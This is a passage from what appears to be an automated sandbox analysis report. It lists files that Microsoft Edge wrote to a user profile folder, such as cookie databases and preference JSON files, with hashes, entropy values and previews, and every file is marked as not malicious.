Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	3.0032301224412623
Encrypted:	false
SSDEEP:	192:tTSgaKmPUY/Iq6WKP157gNKbQpXtbWo+vxHmUYO0B/zbl0b:VSgaB8tq6j157gNKOgRma0B7bl0b
MD5:	CB1FB127D3598728636B467ECBFCCDFC
SHA1:	0C373E4E2FD31F890F0C1C04B5BA889C55679220
SHA-256:	4CC95002A10DB417CEC40BFD6C0C8BD05666C5BA44A856AF0EA21D65DE780D2D
SHA-512:	FB0DE5702FE0C261E3EAD4B349748F46BD12F200082893F477FA6EC6D793609EECDA711EA348FEACB5660756F660DC1981F38E06A5C7A6E263EB6A2F55320470
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336394944460292
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7nbI+:YXs/tsbfc7leeEscgCgakhYhbxo+
MD5:	BF6BA1797785A5763A0088569A24FE85
SHA1:	62B9D7386B7BDD97B816063ED0D9CC0D912EB130
SHA-256:	40C6B39ED9B1E473CBD7027290D7996D15139F0B5BDC4BA6769E8FE8467BBA4E
SHA-512:	FE46026F5F2C16522DBA26D256C0831DA94254C432E5C2CC77F864E6D7E0F1D9C66A50726AF91B06D54EC124C21D1C73744CB2D9CC016BD9FE7200823698D729
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF4c4f2.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336394944460292
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7nbI+:YXs/tsbfc7leeEscgCgakhYhbxo+
MD5:	BF6BA1797785A5763A0088569A24FE85
SHA1:	62B9D7386B7BDD97B816063ED0D9CC0D912EB130
SHA-256:	40C6B39ED9B1E473CBD7027290D7996D15139F0B5BDC4BA6769E8FE8467BBA4E
SHA-512:	FE46026F5F2C16522DBA26D256C0831DA94254C432E5C2CC77F864E6D7E0F1D9C66A50726AF91B06D54EC124C21D1C73744CB2D9CC016BD9FE7200823698D729
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.4774252556227656
Encrypted:	false
SSDEEP:	96:OIEumQv8m1ccnvS6NyDow0WjsYir/DcOJ0:OIEumQv8m1ccnvS6N2ow0Wj4kO+
MD5:	C83333D3982929D297514985AEDA0DEA
SHA1:	19AD3B2B6FE2FF84FBCA467AE3717121D37ABA4F
SHA-256:	565AF7183B0581417412C5D482D9889C7FE91E2E24011EE1536166C1A7C6D57B
SHA-512:	C56A5BCD73D637386A4B5EFEA17D1E2F84724EA9578BC9EA64DE7238273C74FEA593F2097374D79170A5BDC8F9916550B2EAC3EE47CE7EEE28FD4FBC0F4E0011
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3b670.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3c44b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3d090.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\be1d6677-0f7e-4be9-be05-743a25942093.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336394944460292
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7nbI+:YXs/tsbfc7leeEscgCgakhYhbxo+
MD5:	BF6BA1797785A5763A0088569A24FE85
SHA1:	62B9D7386B7BDD97B816063ED0D9CC0D912EB130
SHA-256:	40C6B39ED9B1E473CBD7027290D7996D15139F0B5BDC4BA6769E8FE8467BBA4E
SHA-512:	FE46026F5F2C16522DBA26D256C0831DA94254C432E5C2CC77F864E6D7E0F1D9C66A50726AF91B06D54EC124C21D1C73744CB2D9CC016BD9FE7200823698D729
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\e6946192-6cc7-4d35-b09d-c85ef4656414.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\fcaee0e0-9b93-44c7-b98b-a46944c85666.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\fdc1e167-236c-48bf-8e6f-1ca7fcdc759f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\ffbc3b75-26a3-4fe8-93a4-ffb2851b6d09.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1789
Entropy (8bit):	5.329666784540576
Encrypted:	false
SSDEEP:	48:YcgCzsF6tsFjWfc7leeBkBRs3CgHpssWCgH5bxo+:FS6S62keBkBITpyT5Vo+
MD5:	F8DFE088B8804FC91D8B2158A8BD9E12
SHA1:	CB46A066CEF4C510D47A3E6D39191278E496D7C1
SHA-256:	D2F45AD83FDBE68E1D9B8958ED13E2E386BF0E21DFF5FE7797CE873DE8C0121D
SHA-512:	B5D530B40F336767C88BA6ABB3F794F2B65D61669B2B11360DE9193739066FA5E121C30C25EFB61C88BF51CB8C63054DAAA52F036A03524A41BF96FAA2F50CEC
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13377399517642386","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13377399520202436","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://edge.microsoft.com","supports_spdy":true},

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	10094
Entropy (8bit):	5.12905536000586
Encrypted:	false
SSDEEP:	192:stEkdpGs/XysZihUkt9r58HbV+FOeQA66WGaFIMYlPwYJ:stEQGs/XyfhEbGLQx6WGaTYX
MD5:	1C01FF23FF2928D63B369B619876F981
SHA1:	9C78B55C72A2D27A3782BAEB3CCAD07C3DDCBD28
SHA-256:	42CA35261EEB3CAAD248FFAF109B693629E47F733F067ABB0E956AE0614916B8
SHA-512:	32970299D155AC7A11F71E5ADBE48A79E7A274A75A33A6B60CDF614C107A76DAB9ED780B04BDD0B54F8CB73B88C2CE7423B38EFD3270C1DA428DA3F1B913AA14
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374807515744831","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3eaaf.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	10094
Entropy (8bit):	5.12905536000586
Encrypted:	false
SSDEEP:	192:stEkdpGs/XysZihUkt9r58HbV+FOeQA66WGaFIMYlPwYJ:stEQGs/XyfhEbGLQx6WGaTYX
MD5:	1C01FF23FF2928D63B369B619876F981
SHA1:	9C78B55C72A2D27A3782BAEB3CCAD07C3DDCBD28
SHA-256:	42CA35261EEB3CAAD248FFAF109B693629E47F733F067ABB0E956AE0614916B8
SHA-512:	32970299D155AC7A11F71E5ADBE48A79E7A274A75A33A6B60CDF614C107A76DAB9ED780B04BDD0B54F8CB73B88C2CE7423B38EFD3270C1DA428DA3F1B913AA14
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374807515744831","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF43862.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	10094
Entropy (8bit):	5.12905536000586
Encrypted:	false
SSDEEP:	192:stEkdpGs/XysZihUkt9r58HbV+FOeQA66WGaFIMYlPwYJ:stEQGs/XyfhEbGLQx6WGaTYX
MD5:	1C01FF23FF2928D63B369B619876F981
SHA1:	9C78B55C72A2D27A3782BAEB3CCAD07C3DDCBD28
SHA-256:	42CA35261EEB3CAAD248FFAF109B693629E47F733F067ABB0E956AE0614916B8
SHA-512:	32970299D155AC7A11F71E5ADBE48A79E7A274A75A33A6B60CDF614C107A76DAB9ED780B04BDD0B54F8CB73B88C2CE7423B38EFD3270C1DA428DA3F1B913AA14
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374807515744831","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF4ad92.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	10094
Entropy (8bit):	5.12905536000586
Encrypted:	false
SSDEEP:	192:stEkdpGs/XysZihUkt9r58HbV+FOeQA66WGaFIMYlPwYJ:stEQGs/XyfhEbGLQx6WGaTYX
MD5:	1C01FF23FF2928D63B369B619876F981
SHA1:	9C78B55C72A2D27A3782BAEB3CCAD07C3DDCBD28
SHA-256:	42CA35261EEB3CAAD248FFAF109B693629E47F733F067ABB0E956AE0614916B8
SHA-512:	32970299D155AC7A11F71E5ADBE48A79E7A274A75A33A6B60CDF614C107A76DAB9ED780B04BDD0B54F8CB73B88C2CE7423B38EFD3270C1DA428DA3F1B913AA14
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374807515744831","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25185
Entropy (8bit):	5.571239106707465
Encrypted:	false
SSDEEP:	768:Tes2HtWPBRfdY8F1+UoAYDCx9Tuqh0VfUC9xbog/OVIi731rwzLpd4tuIi:Tes2HtWPBRfdYu1ja/e3+ot3i
MD5:	4052CE3518CDDAFF13AB589D2B4D6843
SHA1:	90E292AF054DDBA461E82CF5C55814D5656C26B7
SHA-256:	D0EC48223F30C579E8B476B6CA0313C2D995CEEB7E3AA1D363EAB35B4D683122
SHA-512:	139973900D4A8601CCA2E05C3BF3D89CAB689DF9BC8414EDC10D560F0B2767804189C565AC6DD856545300B0D171D205A6378EE501DC5657AC6F27B03D21D7A9
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13374807514434620","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13374807514434620","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF3eb3c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25185
Entropy (8bit):	5.571239106707465
Encrypted:	false
SSDEEP:	768:Tes2HtWPBRfdY8F1+UoAYDCx9Tuqh0VfUC9xbog/OVIi731rwzLpd4tuIi:Tes2HtWPBRfdYu1ja/e3+ot3i
MD5:	4052CE3518CDDAFF13AB589D2B4D6843
SHA1:	90E292AF054DDBA461E82CF5C55814D5656C26B7
SHA-256:	D0EC48223F30C579E8B476B6CA0313C2D995CEEB7E3AA1D363EAB35B4D683122
SHA-512:	139973900D4A8601CCA2E05C3BF3D89CAB689DF9BC8414EDC10D560F0B2767804189C565AC6DD856545300B0D171D205A6378EE501DC5657AC6F27B03D21D7A9
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13374807514434620","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13374807514434620","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2294
Entropy (8bit):	5.837500566813591
Encrypted:	false
SSDEEP:	24:F2xc5Nmydcncmo0CRORpllg2DXfRHfVdCRORpllg2RnkaY7VKCRORpllg2DSRHfl:F2emyetrdDXfB9XrdRk3YrdDSBordVBE
MD5:	562C155BD09B7A16051BD80B52C0D418
SHA1:	89A1A3441ACB4E311E9EC412B0984551795B9C4F
SHA-256:	7829B7D02A890EEFADC4B962254FAA6A14212C0B5D11CFDC1E49956F7C9EC51F
SHA-512:	E1CCFFE6717759D0FDF07B296E86F68E5A744BE62CCB6319B4656CDF1C854A98A6D9D1045119AAACAAF9B795A670BAA072305CDDB7120264359AE6308DA5B5F8
Malicious:	false
